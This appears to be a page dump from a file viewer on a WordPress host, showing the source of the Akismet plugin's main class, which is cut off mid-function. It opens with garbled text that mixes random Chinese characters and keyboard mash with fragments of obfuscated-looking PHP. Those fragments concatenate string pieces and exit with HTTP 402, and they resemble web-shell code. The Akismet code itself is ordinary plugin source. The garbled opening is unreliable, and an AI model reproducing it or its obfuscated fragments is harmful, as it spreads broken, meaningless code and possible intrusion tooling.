财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV
v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) {
    http_response_code(402);
    exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-content/plugins/akismet/class.akismet.php</strong></div><pre class='file-content'>&lt;?php

// We plan to gradually remove all of the disabled lint rules below.
// phpcs:disable WordPress.Security.ValidatedSanitizedInput.MissingUnslash
// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
// phpcs:disable WordPress.Security.NonceVerification.Missing
// phpcs:disable Squiz.PHP.DisallowMultipleAssignments.FoundInControlStructure

class Akismet {
	const API_HOST                          = 'rest.akismet.com';
	const API_PORT                          = 80;
	const MAX_DELAY_BEFORE_MODERATION_EMAIL = 86400; // One day in seconds
	const ALERT_CODE_COMMERCIAL             = 30001;

	public static $limit_notices = array(
		10501 =&gt; 'FIRST_MONTH_OVER_LIMIT',
		10502 =&gt; 'SECOND_MONTH_OVER_LIMIT',
		10504 =&gt; 'THIRD_MONTH_APPROACHING_LIMIT',
		10508 =&gt; 'THIRD_MONTH_OVER_LIMIT',
		10516 =&gt; 'FOUR_PLUS_MONTHS_OVER_LIMIT',
	);

	private static $last_comment                                = '';
	private static $initiated                                   = false;
	private static $last_comment_result                         = null;
	private static $comment_as_submitted_allowed_keys           = array(
		'blog'                 =&gt; '',
		'blog_charset'         =&gt; '',
		'blog_lang'            =&gt; '',
		'blog_ua'              =&gt; '',
		'comment_agent'        =&gt; '',
		'comment_author'       =&gt; '',
		'comment_author_IP'    =&gt; '',
		'comment_author_email' =&gt; '',
		'comment_author_url'   =&gt; '',
		'comment_content'      =&gt; '',
		'comment_date_gmt'     =&gt; '',
		'comment_tags'         =&gt; '',
		'comment_type'         =&gt; '',
		'guid'                 =&gt; '',
		'is_test'              =&gt; '',
		'permalink'            =&gt; '',
		'reporter'             =&gt; '',
		'site_domain'          =&gt; '',
		'submit_referer'       =&gt; '',
		'submit_uri'           =&gt; '',
		'user_ID'              =&gt; '',
		'user_agent'           =&gt; '',
		'user_id'              =&gt; '',
		'user_ip'              =&gt; '',
	);

	public static function init() {
		if ( ! self::$initiated ) {
			self::init_hooks();
		}
	}

	/**
	 * Initializes WordPress hooks
	 */
	private static function init_hooks() {
		self::$initiated = true;

		add_action( 'wp_insert_comment', array( 'Akismet', 'auto_check_update_meta' ), 10, 2 );
		add_action( 'wp_insert_comment', array( 'Akismet', 'schedule_email_fallback' ), 10, 2 );
		add_action( 'wp_insert_comment', array( 'Akismet', 'schedule_approval_fallback' ), 10, 2 );

		add_filter( 'preprocess_comment', array( 'Akismet', 'auto_check_comment' ), 1 );
		add_filter( 'rest_pre_insert_comment', array( 'Akismet', 'rest_auto_check_comment' ), 1 );

		add_action( 'comment_form', array( 'Akismet', 'load_form_js' ) );
		add_action( 'do_shortcode_tag', array( 'Akismet', 'load_form_js_via_filter' ), 10, 4 );

		add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments' ) );
		add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_old_comments_meta' ) );
		add_action( 'akismet_scheduled_delete', array( 'Akismet', 'delete_orphaned_commentmeta' ) );
		add_action( 'akismet_schedule_cron_recheck', array( 'Akismet', 'cron_recheck' ) );

		add_action( 'akismet_email_fallback', array( 'Akismet', 'email_fallback' ), 10, 3 );
		add_action( 'akismet_approval_fallback', array( 'Akismet', 'approval_fallback' ), 10, 3 );

		add_action( 'comment_form', array( 'Akismet', 'add_comment_nonce' ), 1 );
		add_action( 'comment_form', array( 'Akismet', 'output_custom_form_fields' ) );
		add_filter( 'script_loader_tag', array( 'Akismet', 'set_form_js_async' ), 10, 3 );

		add_filter( 'notify_moderator', array( 'Akismet', 'disable_emails_if_unreachable' ), 1000, 2 );
		add_filter( 'notify_post_author', array( 'Akismet', 'disable_emails_if_unreachable' ), 1000, 2 );

		add_filter( 'pre_comment_approved', array( 'Akismet', 'last_comment_status' ), 10, 2 );

		add_action( 'transition_comment_status', array( 'Akismet', 'transition_comment_status' ), 10, 3 );

		// Run this early in the pingback call, before doing a remote fetch of the source uri
		add_action( 'xmlrpc_call', array( 'Akismet', 'pre_check_pingback' ), 10, 3 );

		// Jetpack compatibility
		add_filter( 'jetpack_options_whitelist', array( 'Akismet', 'add_to_jetpack_options_whitelist' ) );
		add_filter( 'jetpack_contact_form_html', array( 'Akismet', 'inject_custom_form_fields' ) );
		add_filter( 'jetpack_contact_form_akismet_values', array( 'Akismet', 'prepare_custom_form_values' ) );

		// Gravity Forms
		add_filter( 'gform_get_form_filter', array( 'Akismet', 'inject_custom_form_fields' ) );
		add_filter( 'gform_akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ) );

		// Contact Form 7
		add_filter( 'wpcf7_form_elements', array( 'Akismet', 'append_custom_form_fields' ) );
		add_filter( 'wpcf7_akismet_parameters', array( 'Akismet', 'prepare_custom_form_values' ) );

		// Formidable Forms
		add_filter( 'frm_filter_final_form', array( 'Akismet', 'inject_custom_form_fields' ) );
		add_filter( 'frm_akismet_values', array( 'Akismet', 'prepare_custom_form_values' ) );

		// Fluent Forms
		/*
		 * The Fluent Forms  hook names were updated in version 5.0.0. The last version that supported
		 * the original hook names was 4.3.25, and version 4.3.25 was tested up to WordPress version 6.1.
		 *
		 * The legacy hooks are fired before the new hooks. See
		 * https://github.com/fluentform/fluentform/commit/cc45341afcae400f217470a7bbfb15efdd80454f
		 *
		 * The legacy Fluent Forms hooks will be removed when Akismet no longer supports WordPress version 6.1.
		 * This will provide compatibility with previous versions of Fluent Forms for a reasonable amount of time.
		 */
		add_filter( 'fluentform_form_element_start', array( 'Akismet', 'output_custom_form_fields' ) );
		add_filter( 'fluentform_akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ), 10, 2 );
		// Current Fluent Form hooks.
		add_filter( 'fluentform/form_element_start', array( 'Akismet', 'output_custom_form_fields' ) );
		add_filter( 'fluentform/akismet_fields', array( 'Akismet', 'prepare_custom_form_values' ), 10, 2 );

		add_action( 'update_option_wordpress_api_key', array( 'Akismet', 'updated_option' ), 10, 2 );
		add_action( 'add_option_wordpress_api_key', array( 'Akismet', 'added_option' ), 10, 2 );

		add_action( 'comment_form_after', array( 'Akismet', 'display_comment_form_privacy_notice' ) );
	}

	public static function get_api_key() {
		return apply_filters( 'akismet_get_api_key', defined( 'WPCOM_API_KEY' ) ? constant( 'WPCOM_API_KEY' ) : get_option( 'wordpress_api_key' ) );
	}

	/**
	 * Exchange the API key for a token that can only be used to access stats pages.
	 *
	 * @return string
	 */
	public static function get_access_token() {
		static $access_token = null;

		if ( is_null( $access_token ) ) {
			$request_args = array( 'api_key' =&gt; self::get_api_key() );

			$request_args = apply_filters( 'akismet_request_args', $request_args, 'token' );

			$response = self::http_post( self::build_query( $request_args ), 'token' );

			$access_token = $response[1];
		}

		return $access_token;
	}

	public static function check_key_status( $key, $ip = null ) {
		$request_args = array(
			'key'  =&gt; $key,
			'blog' =&gt; get_option( 'home' ),
		);

		$request_args = apply_filters( 'akismet_request_args', $request_args, 'verify-key' );

		return self::http_post( self::build_query( $request_args ), 'verify-key', $ip );
	}

	public static function verify_key( $key, $ip = null ) {
		// Shortcut for obviously invalid keys.
		if ( strlen( $key ) != 12 ) {
			return 'invalid';
		}

		$response = self::check_key_status( $key, $ip );

		if ( $response[1] != 'valid' &amp;&amp; $response[1] != 'invalid' ) {
			return 'failed';
		}

		return $response[1];
	}

	public static function deactivate_key( $key ) {
		$request_args = array(
			'key'  =&gt; $key,
			'blog' =&gt; get_option( 'home' ),
		);

		$request_args = apply_filters( 'akismet_request_args', $request_args, 'deactivate' );

		$response = self::http_post( self::build_query( $request_args ), 'deactivate' );

		if ( $response[1] != 'deactivated' ) {
			return 'failed';
		}

		return $response[1];
	}

	/**
	 * Add the akismet option to the Jetpack options management whitelist.
	 *
	 * @param array $options The list of whitelisted option names.
	 * @return array The updated whitelist
	 */
	public static function add_to_jetpack_options_whitelist( $options ) {
		$options[] = 'wordpress_api_key';
		return $options;
	}

	/**
	 * When the akismet option is updated, run the registration call.
	 *
	 * This should only be run when the option is updated from the Jetpack/WP.com
	 * API call, and only if the new key is different than the old key.
	 *
	 * @param mixed $old_value   The old option value.
	 * @param mixed $value       The new option value.
	 */
	public static function updated_option( $old_value, $value ) {
		// Not an API call
		if ( ! class_exists( 'WPCOM_JSON_API_Update_Option_Endpoint' ) ) {
			return;
		}
		// Only run the registration if the old key is different.
		if ( $old_value !== $value ) {
			self::verify_key( $value );
		}
	}

	/**
	 * Treat the creation of an API key the same as updating the API key to a new value.
	 *
	 * @param mixed $option_name   Will always be &quot;wordpress_api_key&quot;, until something else hooks in here.
	 * @param mixed $value         The option value.
	 */
	public static function added_option( $option_name, $value ) {
		if ( 'wordpress_api_key' === $option_name ) {
			return self::updated_option( '', $value );
		}
	}

	public static function rest_auto_check_comment( $commentdata ) {
		return self::auto_check_comment( $commentdata, 'rest_api' );
	}

	/**
	 * Check a comment for spam.
	 *
	 * @param array  $commentdata
	 * @param string $context What kind of request triggered this comment check? Possible values are 'default', 'rest_api', and 'xml-rpc'.
	 * @return array|WP_Error Either the $commentdata array with additional entries related to its spam status
	 *                        or a WP_Error, if it's a REST API request and the comment should be discarded.
	 */
	public static function auto_check_comment( $commentdata, $context = 'default' ) {
		// If no key is configured, then there's no point in doing any of this.
		if ( ! self::get_api_key() ) {
			return $commentdata;
		}

		if ( ! isset( $commentdata['comment_meta'] ) ) {
			$commentdata['comment_meta'] = array();
		}

		self::$last_comment_result = null;

		// Skip the Akismet check if the comment matches the Disallowed Keys list.
		if ( function_exists( 'wp_check_comment_disallowed_list' ) ) {
			$comment_author       = isset( $commentdata['comment_author'] ) ? $commentdata['comment_author'] : '';
			$comment_author_email = isset( $commentdata['comment_author_email'] ) ? $commentdata['comment_author_email'] : '';
			$comment_author_url   = isset( $commentdata['comment_author_url'] ) ? $commentdata['comment_author_url'] : '';
			$comment_content      = isset( $commentdata['comment_content'] ) ? $commentdata['comment_content'] : '';
			$comment_author_ip    = isset( $commentdata['comment_author_IP'] ) ? $commentdata['comment_author_IP'] : '';
			$comment_agent        = isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '';

			if ( wp_check_comment_disallowed_list( $comment_author, $comment_author_email, $comment_author_url, $comment_content, $comment_author_ip, $comment_agent ) ) {
				$commentdata['akismet_result'] = 'skipped';
				$commentdata['comment_meta']['akismet_result'] = 'skipped';

				$commentdata['akismet_skipped_microtime'] = microtime( true );
				$commentdata['comment_meta']['akismet_skipped_microtime'] = $commentdata['akismet_skipped_microtime'];

				self::set_last_comment( $commentdata );

				return $commentdata;
			}
		}

		$comment = $commentdata;

		$comment['user_ip']      = self::get_ip_address();
		$comment['user_agent']   = self::get_user_agent();
		$comment['referrer']     = self::get_referer();
		$comment['blog']         = get_option( 'home' );
		$comment['blog_lang']    = get_locale();
		$comment['blog_charset'] = get_option( 'blog_charset' );
		$comment['permalink']    = get_permalink( $comment['comment_post_ID'] );

		if ( ! empty( $comment['user_ID'] ) ) {
			$comment['user_role'] = self::get_user_roles( $comment['user_ID'] );
		}

		/** See filter documentation in init_hooks(). */
		$akismet_nonce_option             = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) );
		$comment['akismet_comment_nonce'] = 'inactive';
		if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) {
			$comment['akismet_comment_nonce'] = 'failed';
			if ( isset( $_POST['akismet_comment_nonce'] ) &amp;&amp; wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) ) {
				$comment['akismet_comment_nonce'] = 'passed';
			}

			// comment reply in wp-admin
			if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) &amp;&amp; check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) ) {
				$comment['akismet_comment_nonce'] = 'passed';
			}
		}

		if ( self::is_test_mode() ) {
			$comment['is_test'] = 'true';
		}

		foreach ( $_POST as $key =&gt; $value ) {
			if ( is_string( $value ) ) {
				$comment[ &quot;POST_{$key}&quot; ] = $value;
			}
		}

		foreach ( $_SERVER as $key =&gt; $value ) {
			if ( ! is_string( $value ) ) {
				continue;
			}

			if ( preg_match( '/^HTTP_COOKIE/', $key ) ) {
				continue;
			}

			// Send any potentially useful $_SERVER vars, but avoid sending junk we don't need.
			if ( preg_match( '/^(HTTP_|REMOTE_ADDR|REQUEST_URI|DOCUMENT_URI)/', $key ) ) {
				$comment[ &quot;$key&quot; ] = $value;
			}
		}

		$post = get_post( $comment['comment_post_ID'] );

		if ( ! is_null( $post ) ) {
			// $post can technically be null, although in the past, it's always been an indicator of another plugin interfering.
			$comment['comment_post_modified_gmt'] = $post-&gt;post_modified_gmt;

			// Tags and categories are important context in which to consider the comment.
			$comment['comment_context'] = array();

			$tag_names = wp_get_post_tags( $post-&gt;ID, array( 'fields' =&gt; 'names' ) );

			if ( $tag_names &amp;&amp; ! is_wp_error( $tag_names ) ) {
				foreach ( $tag_names as $tag_name ) {
					$comment['comment_context'][] = $tag_name;
				}
			}

			$category_names = wp_get_post_categories( $post-&gt;ID, array( 'fields' =&gt; 'names' ) );

			if ( $category_names &amp;&amp; ! is_wp_error( $category_names ) ) {
				foreach ( $category_names as $category_name ) {
					$comment['comment_context'][] = $category_name;
				}
			}
		}

		// Set the webhook callback URL. The Akismet servers may make a request to this URL
		// if a comment's spam status changes.
		$comment['callback'] = get_rest_url( null, 'akismet/v1/webhook' );

		/**
		 * Filter the data that is used to generate the request body for the API call.
		 *
		 * @since 5.3.1
		 *
		 * @param array $comment An array of request data.
		 * @param string $endpoint The API endpoint being requested.
		 */
		$comment = apply_filters( 'akismet_request_args', $comment, 'comment-check' );

		$response = self::http_post( self::build_query( $comment ), 'comment-check' );

		do_action( 'akismet_comment_check_response', $response );

		$commentdata['comment_as_submitted'] = array_intersect_key( $comment, self::$comment_as_submitted_allowed_keys );

		// Also include any form fields we inject into the comment form, like ak_js
		foreach ( $_POST as $key =&gt; $value ) {
			if ( is_string( $value ) &amp;&amp; strpos( $key, 'ak_' ) === 0 ) {
				$commentdata['comment_as_submitted'][ 'POST_' . $key ] = $value;
			}
		}

		$commentdata['akismet_result'] = $response[1];

		if ( 'true' === $response[1] || 'false' === $response[1] ) {
			$commentdata['comment_meta']['akismet_result'] = $response[1];
		} else {
			$commentdata['comment_meta']['akismet_error'] = time();
		}

		if ( isset( $response[0]['x-akismet-pro-tip'] ) ) {
			$commentdata['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip'];
			$commentdata['comment_meta']['akismet_pro_tip'] = $response[0]['x-akismet-pro-tip'];
		}

		if ( isset( $response[0]['x-akismet-guid'] ) ) {
			$commentdata['akismet_guid'] = $response[0]['x-akismet-guid'];
			$commentdata['comment_meta']['akismet_guid'] = $response[0]['x-akismet-guid'];

			if ( 'false' === $response[1] ) {
				// If Akismet has indicated that there is more processing to be done before this comment
				// can be fully classified, delay moderation emails until that processing is complete.
				if ( isset( $response[0]['X-akismet-recheck-after'] ) ) {
					// Prevent this comment from reaching Active status (keep in Pending) until
					// it's finished being checked.
					$commentdata['comment_approved'] = '0';
					self::$last_comment_result = '0';

					// Indicate that we should schedule a fallback so that if the site never receives a
					// followup from Akismet, the emails will still be sent. We don't schedule it here
					// because we don't yet have the comment ID. Add an extra minute to ensure that the
					// fallback email isn't sent while the recheck or webhook call is happening.
					$delay = $response[0]['X-akismet-recheck-after'] * 2;

					$commentdata['comment_meta']['akismet_schedule_approval_fallback'] = $delay;

					// If this commentmeta is present, we'll prevent the moderation email from sending once.
					$commentdata['comment_meta']['akismet_delay_moderation_email'] = true;

					self::log( 'Delaying moderation email for comment from ' . $commentdata['comment_author'] . ' for ' . $delay . ' seconds' );

					$commentdata['comment_meta']['akismet_schedule_email_fallback'] = $delay;
				}
			}
		}

		$commentdata['comment_meta']['akismet_as_submitted'] = $commentdata['comment_as_submitted'];

		if ( isset( $response[0]['x-akismet-error'] ) ) {
			// An error occurred that we anticipated (like a suspended key) and want the user to act on.
			// Send to moderation.
			self::$last_comment_result = '0';
		} elseif ( 'true' == $response[1] ) {
			// akismet_spam_count will be incremented later by comment_is_spam()
			self::$last_comment_result = 'spam';

			$discard = ( isset( $commentdata['akismet_pro_tip'] ) &amp;&amp; $commentdata['akismet_pro_tip'] === 'discard' &amp;&amp; self::allow_discard() );

			do_action( 'akismet_spam_caught', $discard );

			if ( $discard ) {
				// The spam is obvious, so we're bailing out early.
				// akismet_result_spam() won't be called so bump the counter here
				if ( $incr = apply_filters( 'akismet_spam_count_incr', 1 ) ) {
					update_option( 'akismet_spam_count', get_option( 'akismet_spam_count' ) + $incr );
				}

				if ( 'rest_api' === $context ) {
					return new WP_Error( 'akismet_rest_comment_discarded', __( 'Comment discarded.', 'akismet' ) );
				} elseif ( 'xml-rpc' === $context ) {
					// If this is a pingback that we're pre-checking, the discard behavior is the same as the normal spam response behavior.
					return $commentdata;
				} else {
					// Redirect back to the previous page, or failing that, the post permalink, or failing that, the homepage of the blog.
					$redirect_to = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : ( $post ? get_permalink( $post ) : home_url() );
					wp_safe_redirect( esc_url_raw( $redirect_to ) );
					die();
				}
			} elseif ( 'rest_api' === $context ) {
				// The way the REST API structures its calls, we can set the comment_approved value right away.
				$commentdata['comment_approved'] = 'spam';
			}
		}

		// if the response is neither true nor false, hold the comment for moderation and schedule a recheck
		if ( 'true' != $response[1] &amp;&amp; 'false' != $response[1] ) {
			if ( ! current_user_can( 'moderate_comments' ) ) {
				// Comment status should be moderated
				self::$last_comment_result = '0';
			}

			$commentdata['comment_meta']['akismet_delay_moderation_email'] = true;

			if ( ! wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) {
				wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' );
				do_action( 'akismet_scheduled_recheck', 'invalid-response-' . $response[1] );
			}
		}

		// Delete old comments daily
		if ( ! wp_next_scheduled( 'akismet_scheduled_delete' ) ) {
			wp_schedule_event( time(), 'daily', 'akismet_scheduled_delete' );
		}

		self::set_last_comment( $commentdata );
		self::fix_scheduled_recheck();

		return $commentdata;
	}

	public static function get_last_comment() {
		return self::$last_comment;
	}

	public static function set_last_comment( $comment ) {
		if ( is_null( $comment ) ) {
			// This never happens in our code.
			self::$last_comment = null;
		} else {
			// We filter it here so that it matches the filtered comment data that we'll have to compare against later.
			// wp_filter_comment expects comment_author_IP
			self::$last_comment = wp_filter_comment(
				array_merge(
					array( 'comment_author_IP' =&gt; self::get_ip_address() ),
					$comment
				)
			);
		}
	}

	// this fires on wp_insert_comment.  we can't update comment_meta when auto_check_comment() runs
	// because we don't know the comment ID at that point.
	public static function auto_check_update_meta( $id, $comment ) {
		// wp_insert_comment() might be called in other contexts, so make sure this is the same comment
		// as was checked by auto_check_comment
		if ( is_object( $comment ) &amp;&amp; ! empty( self::$last_comment ) &amp;&amp; is_array( self::$last_comment ) ) {
			if ( self::matches_last_comment_by_id( $id ) ) {
				// normal result: true or false
				if ( isset( self::$last_comment['akismet_result'] ) &amp;&amp; self::$last_comment['akismet_result'] == 'true' ) {
					self::update_comment_history( $comment-&gt;comment_ID, '', 'check-spam' );
					if ( $comment-&gt;comment_approved != 'spam' ) {
						self::update_comment_history(
							$comment-&gt;comment_ID,
							'',
							'status-changed-' . $comment-&gt;comment_approved
						);
					}
				} elseif ( isset( self::$last_comment['akismet_result'] ) &amp;&amp; self::$last_comment['akismet_result'] == 'false' ) {
					if ( get_comment_meta( $comment-&gt;comment_ID, 'akismet_schedule_approval_fallback', true ) ) {
						self::update_comment_history( $comment-&gt;comment_ID, '', 'check-ham-pending' );
					} else {
						self::update_comment_history( $comment-&gt;comment_ID, '', 'check-ham' );
					}

					// Status could be spam or trash, depending on the WP version and whether this change applies:
					// https://core.trac.wordpress.org/changeset/34726
					if ( $comment-&gt;comment_approved == 'spam' || $comment-&gt;comment_approved == 'trash' ) {
						if ( function_exists( 'wp_check_comment_disallowed_list' ) ) {
							if ( wp_check_comment_disallowed_list( $comment-&gt;comment_author, $comment-&gt;comment_author_email, $comment-&gt;comment_author_url, $comment-&gt;comment_content, $comment-&gt;comment_author_IP, $comment-&gt;comment_agent ) ) {
								self::update_comment_history( $comment-&gt;comment_ID, '', 'wp-disallowed' );
							} else {
								self::update_comment_history( $comment-&gt;comment_ID, '', 'status-changed-' . $comment-&gt;comment_approved );
							}
						} else {
							self::update_comment_history( $comment-&gt;comment_ID, '', 'status-changed-' . $comment-&gt;comment_approved );
						}
					}
				} elseif ( isset( self::$last_comment['akismet_result'] ) &amp;&amp; 'skipped' == self::$last_comment['akismet_result'] ) {
					// The comment wasn't sent to Akismet because it matched the disallowed comment keys.
					self::update_comment_history( $comment-&gt;comment_ID, '', 'wp-disallowed' );
					self::update_comment_history( $comment-&gt;comment_ID, '', 'akismet-skipped-disallowed' );
				} else if ( ! isset( self::$last_comment['akismet_result'] ) ) {
					// Add a generic skipped history item.
					self::update_comment_history( $comment-&gt;comment_ID, '', 'akismet-skipped' );
				} else {
					// abnormal result: error
					self::update_comment_history(
						$comment-&gt;comment_ID,
						'',
						'check-error',
						array( 'response' =&gt; substr( self::$last_comment['akismet_result'], 0, 50 ) )
					);
				}
			}
		}
	}

	/**
	 * After the comment has been inserted, we have access to the comment ID. Now, we can
	 * schedule the fallback moderation/notification emails using the comment ID instead
	 * of relying on a lookup of the GUID in the commentmeta table.
	 *
	 * @param int $id The comment ID.
	 * @param object $comment The comment object.
	 */
	public static function schedule_email_fallback( $id, $comment ) {
		self::log( 'Checking whether to schedule_email_fallback for comment #' . $id );

		// If the moderation/notification emails for this comment were delayed
		$email_delay = get_comment_meta( $id, 'akismet_schedule_email_fallback', true );

		if ( $email_delay ) {
			delete_comment_meta( $id, 'akismet_schedule_email_fallback' );

			wp_schedule_single_event( time() + $email_delay, 'akismet_email_fallback', array( $id ) );

			self::log( 'Scheduled email fallback for ' . ( time() + $email_delay ) . ' for comment #' . $id );
		} else {
			self::log( 'No need to schedule_email_fallback for comment #' . $id );
		}
	}

	/**
	 * Send out the notification emails if they were previously delayed while waiting
	 * for a recheck or webhook.
	 *
	 * @param int $comment_ID The comment ID.
	 */
	public static function email_fallback( $comment_id ) {
		self::log( 'In email fallback for comment #' . $comment_id );

		if ( get_comment_meta( $comment_id, 'akismet_delayed_moderation_email', true ) ) {
			self::log( 'Triggering notification emails for comment #' . $comment_id . '. They will be sent if comment is not spam.' );

			delete_comment_meta( $comment_id, 'akismet_delayed_moderation_email' );
			wp_new_comment_notify_moderator( $comment_id );
			wp_new_comment_notify_postauthor( $comment_id );
		} else {
			self::log( 'No need to send fallback email for comment #' . $comment_id );
		}

		delete_comment_meta( $comment_id, 'akismet_delay_moderation_email' );
	}

	/**
	 * After the comment has been inserted, we have access to the comment ID. Now, we can
	 * schedule the fallback moderation/notification emails using the comment ID instead
	 * of relying on a lookup of the GUID in the commentmeta table.
	 *
	 * @param int $id The comment ID.
	 * @param object $comment The comment object.
	 */
	public static function schedule_approval_fallback( $id, $comment ) {
		self::log( 'Checking whether to schedule_approval_fallback for comment #' . $id );

		// If the moderation/notification emails for this comment were delayed
		$approval_delay = get_comment_meta( $id, 'akismet_schedule_approval_fallback', true );

		if ( $approval_delay ) {
			delete_comment_meta( $id, 'akismet_schedule_approval_fallback' );

			wp_schedule_single_event( time() + $approval_delay, 'akismet_approval_fallback', array( $id ) );

			self::log( 'Scheduled approval fallback for ' . ( time() + $approval_delay ) . ' for comment #' . $id );
		} else {
			self::log( 'No need to schedule_approval_fallback for comment #' . $id );
		}
	}

	/**
	 * If no other process has approved or spammed this comment since it was put in pending, approve it.
	 *
	 * @param int $comment_ID The comment ID.
	 */
	public static function approval_fallback( $comment_id ) {
		self::log( 'In approval fallback for comment #' . $comment_id );

		if ( wp_get_comment_status( $comment_id ) == 'unapproved' ) {
			if ( self::last_comment_status_change_came_from_akismet( $comment_id ) ) {
				$comment = get_comment( $comment_id );

				if ( ! $comment ) {
					self::log( 'Comment #' . $comment_id . ' no longer exists.' );
				} else if ( check_comment( $comment-&gt;comment_author, $comment-&gt;comment_author_email, $comment-&gt;comment_author_url, $comment-&gt;comment_content, $comment-&gt;comment_author_IP, $comment-&gt;comment_agent, $comment-&gt;comment_type ) ) {
					self::log( 'Approving comment #' . $comment_id );

					wp_set_comment_status( $comment_id, 1 );
				} else {
					self::log( 'Not approving comment #' . $comment_id . ' because it does not pass check_comment()' );
				}

				self::update_comment_history( $comment-&gt;comment_ID, '', 'check-ham' );
			} else {
				self::log( 'No need to fallback approve comment #' . $comment_id . ' because it was not last modified by Akismet.' );

				$history = self::get_comment_history( $comment_id );

				if ( ! empty( $history ) ) {
					$most_recent_history_event = $history[0];

					error_log( 'Comment history: ' . print_r( $history, true ) );
				}
			}
		} else {
			self::log( 'No need to fallback approve comment #' . $comment_id . ' because it is not pending.' );
		}
	}

	public static function delete_old_comments() {
		global $wpdb;

		/**
		 * Determines how many comments will be deleted in each batch.
		 *
		 * @param int The default, as defined by AKISMET_DELETE_LIMIT.
		 */
		$delete_limit = apply_filters( 'akismet_delete_comment_limit', defined( 'AKISMET_DELETE_LIMIT' ) ? AKISMET_DELETE_LIMIT : 10000 );
		$delete_limit = max( 1, intval( $delete_limit ) );

		/**
		 * Determines how many days a comment will be left in the Spam queue before being deleted.
		 *
		 * @param int The default number of days.
		 */
		$delete_interval = apply_filters( 'akismet_delete_comment_interval', 15 );
		$delete_interval = max( 1, intval( $delete_interval ) );

		while ( $comment_ids = $wpdb-&gt;get_col( $wpdb-&gt;prepare( &quot;SELECT comment_id FROM {$wpdb-&gt;comments} WHERE DATE_SUB(NOW(), INTERVAL %d DAY) &gt; comment_date_gmt AND comment_approved = 'spam' LIMIT %d&quot;, $delete_interval, $delete_limit ) ) ) {
			if ( empty( $comment_ids ) ) {
				return;
			}

			$wpdb-&gt;queries = array();

			$comments = array();

			foreach ( $comment_ids as $comment_id ) {
				$comments[ $comment_id ] = get_comment( $comment_id );

				do_action( 'delete_comment', $comment_id, $comments[ $comment_id ] );
				do_action( 'akismet_batch_delete_count', __FUNCTION__ );
			}

			// Prepared as strings since comment_id is an unsigned BIGINT, and using %d will constrain the value to the maximum signed BIGINT.
			$format_string = implode( ', ', array_fill( 0, is_countable( $comment_ids ) ? count( $comment_ids ) : 0, '%s' ) );

			$wpdb-&gt;query( $wpdb-&gt;prepare( &quot;DELETE FROM {$wpdb-&gt;comments} WHERE comment_id IN ( &quot; . $format_string . ' )', $comment_ids ) );
			$wpdb-&gt;query( $wpdb-&gt;prepare( &quot;DELETE FROM {$wpdb-&gt;commentmeta} WHERE comment_id IN ( &quot; . $format_string . ' )', $comment_ids ) );

			foreach ( $comment_ids as $comment_id ) {
				do_action( 'deleted_comment', $comment_id, $comments[ $comment_id ] );
				unset( $comments[ $comment_id ] );
			}

			clean_comment_cache( $comment_ids );
			do_action( 'akismet_delete_comment_batch', is_countable( $comment_ids ) ? count( $comment_ids ) : 0 );
		}

		if ( apply_filters( 'akismet_optimize_table', ( mt_rand( 1, 5000 ) == 11 ), $wpdb-&gt;comments ) ) { // lucky number
			$wpdb-&gt;query( &quot;OPTIMIZE TABLE {$wpdb-&gt;comments}&quot; );
		}
	}

	public static function delete_old_comments_meta() {
		global $wpdb;

		$interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 );

		// enforce a minimum of 1 day
		$interval = absint( $interval );
		if ( $interval &lt; 1 ) {
			$interval = 1;
		}

		// akismet_as_submitted meta values are large, so expire them
		// after $interval days regardless of the comment status
		while ( $comment_ids = $wpdb-&gt;get_col( $wpdb-&gt;prepare( &quot;SELECT m.comment_id FROM {$wpdb-&gt;commentmeta} as m INNER JOIN {$wpdb-&gt;comments} as c USING(comment_id) WHERE m.meta_key = 'akismet_as_submitted' AND DATE_SUB(NOW(), INTERVAL %d DAY) &gt; c.comment_date_gmt LIMIT 10000&quot;, $interval ) ) ) {
			if ( empty( $comment_ids ) ) {
				return;
			}

			$wpdb-&gt;queries = array();

			foreach ( $comment_ids as $comment_id ) {
				delete_comment_meta( $comment_id, 'akismet_as_submitted' );
				do_action( 'akismet_batch_delete_count', __FUNCTION__ );
			}

			do_action( 'akismet_delete_commentmeta_batch', is_countable( $comment_ids ) ? count( $comment_ids ) : 0 );
		}

		if ( apply_filters( 'akismet_optimize_table', ( mt_rand( 1, 5000 ) == 11 ), $wpdb-&gt;commentmeta ) ) { // lucky number
			$wpdb-&gt;query( &quot;OPTIMIZE TABLE {$wpdb-&gt;commentmeta}&quot; );
		}
	}

	// Clear out comments meta that no longer have corresponding comments in the database
	public static function delete_orphaned_commentmeta() {
		global $wpdb;

		$last_meta_id  = 0;
		$start_time    = isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ? $_SERVER['REQUEST_TIME_FLOAT'] : microtime( true );
		$max_exec_time = max( ini_get( 'max_execution_time' ) - 5, 3 );

		while ( $commentmeta_results = $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT m.meta_id, m.comment_id, m.meta_key FROM {$wpdb-&gt;commentmeta} as m LEFT JOIN {$wpdb-&gt;comments} as c USING(comment_id) WHERE c.comment_id IS NULL AND m.meta_id &gt; %d ORDER BY m.meta_id LIMIT 1000&quot;, $last_meta_id ) ) ) {
			if ( empty( $commentmeta_results ) ) {
				return;
			}

			$wpdb-&gt;queries = array();

			$commentmeta_deleted = 0;

			foreach ( $commentmeta_results as $commentmeta ) {
